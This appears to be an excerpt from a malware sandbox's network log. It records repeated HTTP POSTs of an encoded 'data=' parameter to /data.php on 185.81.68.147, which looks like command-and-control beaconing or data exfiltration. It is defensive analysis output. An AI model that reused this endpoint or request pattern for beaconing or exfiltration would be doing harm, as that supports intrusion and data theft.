Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
